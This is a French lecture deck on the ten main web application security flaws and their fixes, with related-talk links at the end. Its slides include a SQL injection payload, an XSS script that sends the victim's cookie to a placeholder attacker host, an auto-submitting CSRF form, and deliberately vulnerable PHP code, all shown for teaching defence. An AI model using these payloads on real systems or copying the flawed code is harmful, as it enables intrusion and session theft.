SlideShare une entreprise Scribd logo
1  sur  53
Télécharger pour lire hors ligne
Principales failles de sécurité
                                                                  des applications Web
                                                                  Principes, parades et bonnes pratiques
                                                                  de développement




Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
P. 2




       1.   Introduction

       2.   Principales failles de sécurité

       3.   Conclusion

       SOMMAIRE

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 3




       1.   Contexte

       2.   Enjeux

       1. INTRODUCTION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 4              Composants serveur




                                Requête http
                                                                            E
                                                                            x
                                                                            t
                                HTML + CSS

       Utilisateur                                         Serveur http                      Serveur                     Serveur de base
                                                                                             d’application               de données

                                                                                      Architecture 3-tiers




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 5              Composants client



                                               JavaScript                           Requête http
                                                                                                                                    E
                                                                                                                                    x
                                                                                                                                    t
                                           HTML + CSS                                        XML

               Utilisateur                                        Moteur                                     Serveur http
                                                                  AJAX




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.1 Contexte : Fonctionnement d’une application Web

P. 6              Principe d’une application Web
                    1. Envoie de la saisie d’un formulaire
                    2. Envoie de la requête correspondante pour traitement
                    3. Retour du résultat à la page de script
                    4. Génération et envoie de la page HTML


                                                                                              2) Demande de
                                            1)                                                traitement
                                                                                        E
                                                                                        x
                                                                                        t
                                           4) HTML + CSS                                       3) Résultat

                  Utilisateur                                           Serveur http



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
1.2 Enjeux

P. 7              Analyse des besoins de sécurité
                     Intégrité
                     Confidentialité
                     Disponibilité

                  Risques de sécurité applicatifs




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 8

       1.   Injection                                                 6.      Mauvaise configuration de sécurité

       2.   Cross-Site Scripting (XSS)                                7.      Stockage de données
                                                                              cryptographiques non sécurisé
       3.   Violation de gestion
            d’authentification et de session                          8.      Défaillance dans la restriction des
                                                                              accès à une url
       4.   Référence directe non sécurisée à un
            objet                                9.                           Protection insuffisante de la couche
                                                                              transport
       5.   Falsification de requêtes
            intersite (CSRF)                                          10.     Redirection et renvois non validés


       PRINCIPALES FAILLES DE SÉCURITÉ

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 9              Victime d’une attaque
                     Composant de l’architecture de l’application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Formulaire de saisie de l’application
                     Injection de code malicieux dans le code de l’application

                  Objectif de l’attaque
                     Vol d’information
                     Prise de contrôle du système
                     Déni de service

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 10             Principe d’une attaque
                    1. Envoi de code malveillant
                    2. Envoi de la requête correspondante pour traitement
                    Les étapes suivantes sont fonction de l’attaque employée
                    3. …
                    4. …

                                                                                             2) Demande de
                                              1)                                             traitement


                                             4) …                                             3) …
                        Attaquant                                          Serveur http


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

P. 11            Comportement d’une application vulnérable à l’injection SQL
                   1. Envoi de la saisie d’un formulaire
                   2. Envoi de la requête correspondante pour traitement
                   3. Retour du résultat à la page de script
                   4. Génération et envoie de la page HTML
                                                                        SELECT numerocarte FROM comptes
                                                                        WHERE nom='user4'
                                                                        AND motdepasse=PASSWORD('eng111')

                                             1)                                         2) Requête SQL



                                            4) HTML + CSS                                  3) Résultat

                    Utilisateur                                         Serveur http                     +-------------+
                                                                                                         | numerocarte |
                                                                                                         +-------------+
                                                                                                         | 741852963
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement |
                                                                                                         +-------------+
2.1 Injection

P. 12            Vol d’information par injection SQL
                   1. Envoi de code malicieux « ' OR 1=1 -- ' »
                   2. Envoi de la requête correspondante à la base de
                        données
                   3. Retour du résultat à la page de script
                   4. Vol d’information         SELECT numerocarte FROM comptes
                                                                        WHERE nom='' OR 1=1 -- ' '
                                                                        AND motdepasse=PASSWORD('eng111')

                                             1)                                          2) Requête SQL



                                           4) HTML + CSS                                  3) Résultat
                       Attaquant                                        Serveur http                     +-------------+
                                                                                                         | numerocarte |
                                                                                                         +-------------+
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
                                                                                                         | 123456789              |
2.1 Injection

  P. 13             Source de vulnérabilité
                      1. Code de la requête est généré dynamiquement
                      2. Caractères interprétés (en SQL, en SHELL, …) acceptés
    //recuperation des parametres
2  $nom = $_GET['nom'];
    $motdepasse = $_GET['motdepasse'];
    //generation de la requete
1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND
    motdepasse = PASSWORD( '$motdepasse' )";
    //execution de la requete
    $reponse = mysql_query($requeteSQL);
    $resultat = mysql_fetch_assoc($reponse);
    //affichage du resultat
    echo $resultat['numerocarte'];




   Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.1 Injection

  P. 14             Solutions
                      1. Utiliser des requêtes paramétrées
                      2. Ne pas autoriser les caractères spéciaux
    //recuperation des parametres
2  $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES);
    $motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES);
    //preparation de la requete
    $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom =
    ? AND motdepasse = PASSWORD( ? )");
1  $stmt->bind_param("ss", $nom, $motdepasse);
    //execution de la requete
    $stmt->execute();
    $stmt->bind_result($resultat);
    $stmt->fetch();
    //affichage du resultat
    echo $resultat;




   Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 15             Victime d’une attaque
                     Utilisateur de l’application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Injection de code actif dans un document HTML
                              1. XSS réfléchie
                              2. XSS stockée

                  Objectif de l’attaque
                     Vol d’information
                     Prise de contrôle du système de l’utilisateur
                     Hameçonnage
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 16             Exemple de code actif
                     document.write('<img
                       src=http://att.ack.org/steal.php?'+docum
                       ent.cookie+' width=1>');
                     Ajoute une balise cachée lors de l’affichage de la page
                       par le navigateur
                       <img
                       src=http://att.ack.org/steal.php?1...f
                       width=1>
                     L’appel de la page stocke les informations en paramètre




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 17             Par réflexion

                                                 3) Page de résultat
                                                 avec le script




                     Utilisateur                                                 Application Web

                                                                                                 2) Exécution
                                                                                                 du script embarqué




                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

   P. 18             Par réflexion
                       Source de vulnérabilité
                       1. Caractères HTML/JavaScript acceptés
     R&eacute;sultat de la recherche :
1)  <?php echo $_GET['recherche'];?>

                         2. Accès autorisé aux cookies pour JavaScript




    Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 19             Par réflexion
                    Solutions
                    1. Ne pas autoriser les caractères spéciaux
    R&eacute;sultat de la recherche :
    <?php
      $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
      echo $recherche;
    ?>


                      2. Rendre les cookies utilisables uniquement par
                         l’application
    <?php session.cookie_httponlyne True pas accéder au cookie
                Le code JavaScript = peut ?>




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 20             Stocké


                                                 2) Demande de la page



                                                3) Page de résultat
                                                avec le script
                     Utilisateur                                  Application Web

                                                                                                 1) Enregistrement
                                                                                                 du code actif




                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

 P. 21             Stocké
                     Source de vulnérabilité
                         Caractères HTML/JavaScript acceptés
  <?php
  $message=$_GET['message'];
  $nom=$_GET['nom'];
  $numsujet=$_GET['numsujet'];
  //generation de la requete
 $requeteSQL = "INSERT INTO messages VALUES (NULL, '$numsujet',
  '$nom', '$message')";
  ?>




  Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.2 Cross-Site Scripting (XSS)

P. 22             Stocké
                    Solutions
                    1. Filtrer les entrées
                    2. Ne pas autoriser les caractères spéciaux
    R&eacute;sultat de la recherche :
    <?php
      $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
      echo $recherche;
    ?>


                  3. Rendre les cookies utilisables uniquement par
    <?php              l’application
               session.cookie_httponly = True ?>
                            Le code JavaScript ne peut pas accéder au cookie




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 23             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Usurpation d’identité
                              1. Attaque contre le système d’authentification
                              2. Détournement de session

                  Objectif de l’attaque
                     Accès à l’application
                     Vol d’information
                     Corruption de données
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 24             Mécanisme de connexion
                     Rappel : http est un protocole déconnecté
                    1. Authentification
                                                                                              2) Demande
                                            1)                                                de vérification
                                                                                        E
                                                                                        x
                                                                                        t
                                               4) Envoi id                                     3) Résultat
                                               de session
                  Utilisateur                                           Serveur http

                      2. Travail avec l’identifiant de session
                                            1) Envoi id
                                            de session                                        2) …
                                                                                        E
                                                                                        x
                                                                                        t
                                           4) Envoi id                                         3) …
                                           de session
                  Utilisateur                                           Serveur http
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 25             Attaque contre le système d’authentification
                    Sources de vulnérabilité
                    1. Force brute
                    2. Comptes par défaut
                    3. Système de réinitialisation de mot de passe
                    4. Système de création de comptes par soi-même




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 26             Attaque contre le système d’authentification
                    Solutions
                    1. Force brute
                            1.      Mots de passe forts
                            2.      Message d’erreur générique
                            3.      Verrouillage de compte après 5 erreurs consécutives
                            4.      Utilisation de captcha
                      2. Supprimer ou désactiver les comptes par défaut
                      3. Système de réinitialisation de mot de passe
                            Envoi d’un nouveau mot de passe sur média préconfiguré
                      4. Système de création de comptes par soi-même
                            Ne pas autoriser les identifiants proches
                            Générer l’identifiant de connexion


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 27             Détournement de session
                    Méthodes d’attaque
                    1. Fixation
                    2. Vol
                    3. Prédiction
                    4. Force brute                                          1) Envoi id
                                                                            de session                                         2) …
                                                                                                                        E
                                                                                                                        x
                                                                                                                        t
                                                                           4) Envoi id                                         3) …
                                                                           de session
                                                  Utilisateur                                            Serveur http

                                              5) Envoi id de session


                        Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.3 Violation de gestion d’authentification et de Session

P. 28             Détournement de session
                    Solutions
                    1. Utiliser un moyen d’identification secondaire
                    2. Détruire les sessions
                    3. Ne pas soumettre les données par GET
                    4. Chiffrer les flux de transmission des identifiants
                    5. Redemander le mot de passe lors d’un changement de
                        niveau de privilège




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 29             Victime d’une attaque
                     Application vulnérable ou utilisateur

                  Attaquant
                     Extérieur au système ou utilisateur

                  Moyens utilisés
                     Injection de données frauduleuses

                  Objectif de l’attaque
                     Attaque par injection
                     Attaque XSS
                     Accès et/ou modification de données sans autorisation


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 30             Source de vulnérabilité
                     Valeurs de paramètre non vérifiées
   //recuperation des parametres
   $nom = $_GET['proprietaire'];
   //generation de la requete
   $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom'";




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.4 Référence directe non sécurisée à un objet

P. 31             Solutions
                    1. Vérifier toutes les données avant utilisation (get, post,
                         cookie)
                            1.      Type attendu
                            2.      Nombre d’arguments attendus
                            3.      Valeurs limitées
                            4.      Taille de la donnée
                            5.      Valeur nulle autorisée?
                            6.      Valeur suit une expression régulière
                      2. Protéger les sorties vers le client
                            •       Coder les caractères spéciaux




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 32             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Requête http d’attaque envoyée par un utilisateur
                              1. CSRF réfléchie
                              2. CSRF stockée

                  Objectif de l’attaque
                     Vol d’information
                     Corruption de données


 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 33             Exemple de requête d’attaque
                     La requête simule une action de l’utilisateur
                     L’appel de la page exécute une fonctionnalité de
                       l’application
   <form method="GET" id="reflected_CSRF" name="reflected_CSRF"
   action="add_message.php">
     <input type=hidden name="numsujet" value="6">
     <input type=hidden name="nom" value="CSRF">
     <input type=hidden name="message" value="action frauduleuse">
   </form>
   <script>document.reflected_CSRF.submit()</script>




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 34             Par réflexion



                                                    1) Connexion



                     Utilisateur                                                 Application Web

                                                                                                 3) Exécution
                                                                                                 du code




                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 35
       Stocké


                                                 2) Affichage de la page
                                                 3) Réponse http

                                               4) Exécution du code
                     Utilisateur                                 Application Web


                                                                                               1) Enregistrement du script




                                                                                    Attaquant
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.5 Falsification de requêtes inter-site (CSRF)

P. 36             Source de vulnérabilité
                     Utilisation de la méthode GET


                   Solutions
                     1. Utilisation de la méthode POST uniquement
                     2. Redemander le mot de passe lors d’un changement de
                         niveau de privilège




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.6 Mauvaise configuration de sécurité

P. 37             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Faille de sécurité connues des composants

                  Objectif de l’attaque
                     Déni de service
                     Prise de contrôle du système




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.6 Mauvaise configuration de sécurité

P. 38             Source de vulnérabilité
                     Vulnérabilités laissées ouvertes par les composants de
                        l’architecture


                   Solutions
                     1. Désactiver les options inutiles
                     2. Mettre à jour les composants
                     3. Installer les composants en version anglaise
                     4. Supprimer ou désactiver les comptes par défaut




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.7 Stockage de données cryptographiques non sécurisé

P. 39             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Accès au système de stockage

                  Objectif de l’attaque
                     Vol d’information confidentielles




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.7 Stockage de données cryptographiques non sécurisé

P. 40             Source de vulnérabilité
                     Information confidentielle visible en clair


                   Solutions
                     1. Chiffrer tous les supports de stockage d’information
                              Bases de données
                              Fichiers
                              Sauvegardes
                      2. Utiliser des algorithmes de chiffrement forts
                            Exemple : AES 256, RSA
                      3. Utiliser des algorithmes de hachage forts
                            Exemple : SHA 256



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.8 Défaillance dans la restriction des accès à une url

P. 41             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Utilisateur de l’application

                  Moyens utilisés
                     Saisie d’adresse non autorisée

                  Objectif de l’attaque
                     Accès à des fonctionnalités non autorisées
                     Accès à des fichiers du serveur http




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.8 Défaillance dans la restriction des accès à une url

P. 42             Source de vulnérabilité
                     Manque de contrôle lors de l’accès aux fonctionnalités
                     Fonctionnalités indexées par les moteurs de recherche


                   Solutions
                     1. Tous les répertoires doivent contenir un fichier
                         index.html
                     2. Le serveur http ne doit pas afficher le contenu d’un
                         répertoire
                     3. Les fonctionnalités doivent vérifier les droits d’accès de
                         l’utilisateur avant affichage



 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 43             Victime d’une attaque
                     Application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Accès au système de transmission

                  Objectif de l’attaque
                     Vol d’information confidentielles




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 44             Les protocoles de communication sur Internet

         Pile générique pour                                                               Pile générique pour
               Internet                                                                          Internet
                  Application                                                                       Application

                   Transport                                                                         Transport

                    Internet                                                                           Internet

                    Réseau                                                                             Réseau


              Transfert de données à travers la pile de protocoles d’Internet




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.9 Protection insuffisante de la couche transport

P. 45             Source de vulnérabilité
                     Accessibilité des moyens de transmission


                   Solution
                      Chiffrer toutes les pages de l’application
                              Si transmission de données confidentielles (dont informations de
                                connexion)
                              Si transmission des informations de session




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.10 Redirection et renvois non validés

P. 46             Victime d’une attaque
                     Utilisateur de l’application vulnérable

                  Attaquant
                     Extérieur au système

                  Moyens utilisés
                     Page de redirection

                  Objectif de l’attaque
                     Hameçonnage
                     Attaque CSRF par réflexion




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
2.10 Redirection et renvois non validés

P. 47             Source de vulnérabilité
                     Adresse de destination non vérifiée


                   Solutions
                      Renvoi uniquement vers des pages locales
                      Redirection assurée par le serveur http en cas de
                         déplacement d’une page ou du site




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 48




    1.      Web 2.0 : Constats

    2.      Web 2.0 : Perspectives

    3. CONCLUSION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 49             Internet est omniprésent
                      Guerre des forfaits mobiles pour Internet
                      L’accès à Internet est perçu comme un des droits de
                         l’Homme
                              Vinton G. CERF dans le New York Times paru le 5 janvier 2012
                              Extrait de : “Internet Access Is Not a Human Right”
                              “Even the United Nations report, which was widely hailed as declaring
                                Internet access a human right, acknowledged that the Internet was
                                valuable as a means to an end, not as an end in itself”.




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 50             Les risques ont peu évolué depuis 2004
                     7 problèmes de 2010 déjà présents en 2004
        Risques                                                                                  2004 2007 2010
        Injection de commandes                                                                   A6          A2           A1
        Failles Cross Site Scripting (XSS)                                                       A4          A1           A2
        Violation de Gestion d’Authentification et de Session                                    A3          A7           A3
        Référence directe à un objet non sécurisée                                               A1          A4           A4
        Cross Site Request Forgery (CSRF)                                                                    A5           A5
        Gestion de configuration non sécurisée                                                   A10                      A6
        Stockage non sécurisé                                                                    A8          A8           A7
        Manque de restriction d’accès URL                                                        A2          A10          A8
        Violation de Contrôle d’Accès
        Communications non sécurisées                                                                        A9           A9
        Redirection et renvoi non validés                                                                                 A10
        Débordement de tampon                                                                    A5
        Mauvaise gestion des erreurs                                                             A7          A6
        Déni de Service                                                                          A9
        Exécution de fichier malicieux                                                                       A3
 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.1 Web 2.0 : Constats

P. 51             Ajax et la sécurité
                     Ajout de nouvelles failles
                     Mode asynchrone rend les attaques moins visibles

                  Sécuriser une application Web 2.0
                    1. Sécuriser le Web 1.0
                    2. Sécuriser les appels Ajax




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3.2 Web 2.0 : Perspectives

P. 52             Faut-il abandonner Ajax ?

                  HTML 5 sera-t-il la solution pour faciliter et standardiser le
                   développement d’applications Web 2.0 ?

                  Les bonnes pratiques de sécurité vont devoir évoluer pour
                   prendre en compte les applications pour smartphone




 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
P. 53




    Contact : Guillaume HARRY

    MERCI DE VOTRE ATTENTION

 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement

Contenu connexe

Tendances

Introduction vulnérabilité web
Introduction vulnérabilité webIntroduction vulnérabilité web
Introduction vulnérabilité webdavystoffel
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPyaboukir
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeNormandie Web Xperts
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebSylvain Maret
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites webSaid Sadik
 
Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesPhonesec
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Patrick Leclerc
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le webSofteam agency
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01Sébastien GIORIA
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicativesBee_Ware
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications webMarcel TCHOULEGHEU
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilCyber Security Alliance
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soapZakaria SMAHI
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Asma Messaoudi
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebKlee Group
 
Securite des Applications dans le Cloud
Securite des Applications dans le CloudSecurite des Applications dans le Cloud
Securite des Applications dans le CloudSebastien Gioria
 

Tendances (20)

Introduction vulnérabilité web
Introduction vulnérabilité webIntroduction vulnérabilité web
Introduction vulnérabilité web
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASP
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites web
 
Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et Mobiles
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le web
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
Sécurité des réseaux
Sécurité des réseauxSécurité des réseaux
Sécurité des réseaux
 
Securité web
Securité webSecurité web
Securité web
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soap
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Securite des Applications dans le Cloud
Securite des Applications dans le CloudSecurite des Applications dans le Cloud
Securite des Applications dans le Cloud
 

En vedette

IDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUIDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUCHAOUACHI marwen
 
Sécurité des systèmes d'information
Sécurité des systèmes d'informationSécurité des systèmes d'information
Sécurité des systèmes d'informationFranck Franchin
 
Sécurité des Systèmes d'Information et de l'Information
Sécurité des Systèmes d'Information et de l'InformationSécurité des Systèmes d'Information et de l'Information
Sécurité des Systèmes d'Information et de l'InformationShema Labidi
 
Securite informatique
Securite informatiqueSecurite informatique
Securite informatiqueSouhaib El
 
Presentation pfe ingenieur d etat securite reseau et systemes
Presentation pfe ingenieur d etat securite reseau et systemesPresentation pfe ingenieur d etat securite reseau et systemes
Presentation pfe ingenieur d etat securite reseau et systemesHicham Moujahid
 
La sécurité informatique
La sécurité informatiqueLa sécurité informatique
La sécurité informatiqueSaber Ferjani
 
Intrusions et gestion d’incidents informatique
Intrusions et gestion d’incidents informatiqueIntrusions et gestion d’incidents informatique
Intrusions et gestion d’incidents informatiquemichelcusin
 
sécurité informatique
sécurité informatiquesécurité informatique
sécurité informatiqueMohammed Zaoui
 
Interfaces adaptatives. Agents adaptatifs.
Interfaces adaptatives. Agents adaptatifs.Interfaces adaptatives. Agents adaptatifs.
Interfaces adaptatives. Agents adaptatifs.Marius Butuc
 
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logiciel
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logicielASFWS 2011 : Les exigences PCI-DSS en terme de développement logiciel
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logicielCyber Security Alliance
 
Développement d’un prototype logiciel pour l’analyse webométrique
Développement d’un prototype logiciel pour l’analyse webométriqueDéveloppement d’un prototype logiciel pour l’analyse webométrique
Développement d’un prototype logiciel pour l’analyse webométriqueRAUDIN33
 
Les 10 principales menaces de sécurité des bases de données
Les 10 principales menaces de sécurité des bases de donnéesLes 10 principales menaces de sécurité des bases de données
